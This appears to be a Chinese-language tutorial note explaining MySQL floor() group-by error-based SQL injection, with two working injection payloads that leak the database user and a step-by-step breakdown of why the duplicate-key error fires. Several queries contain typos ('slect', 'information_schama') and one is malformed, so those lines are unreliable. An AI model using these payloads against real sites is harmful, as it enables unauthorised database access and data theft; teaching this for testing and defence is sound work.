floor报错注入也可以称为group by 报错注入,也可以归属为:主键报错注入。
注入语句:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)x) --+
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
以上两条注入语句是一样的,其中的别名a和x可以是同名。
And (slect 1 from (sql)a)
这个sql语句只是为了让整个sql的逻辑不出错,因为select 1 无论from 哪个的集合的结果都是1.即And (slect 1 from (sql)a)=And 1.
而真正获取注入数据库信息的是以下这条:
selct count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x
拆分解析以上语句
select rand(); 返回一个随机十进制数(因为没有种子,所以它会返回一个完全随机的数字>=0且<1)
select rand(0);指定种子值,则返回可重复的随机数序列。
select rand(0)*2;
select rand(0)*2 from users;
select floor(x);该函数返回小于x的最大整数值,但不能大于x
select floor(3.1) 3
select floor(-3.2) -4
select floor(rand(0)*2);
select floor(rand(0)*2) from users;
select floor(rand(0)*2) from information_schama.tables;
select count(*),floor(rand(0)*2)x from information_schama.tables;
select count(*),concat(floor(rand(0)*2))x from information_schama.tables;
select count(*),concat(user(),floor(rand(0)*2))x from information_schama.tables;
select * from information_schema.tables;
select * from table_schema,count(*) from information_schema.tables group by table_schema;
select count(*),concat(user(),floor(rand(0)*2))x from information_schama.tables group by x; //会报错
报错的原因是因为插入重复插入虚拟表主键,数据库会报错。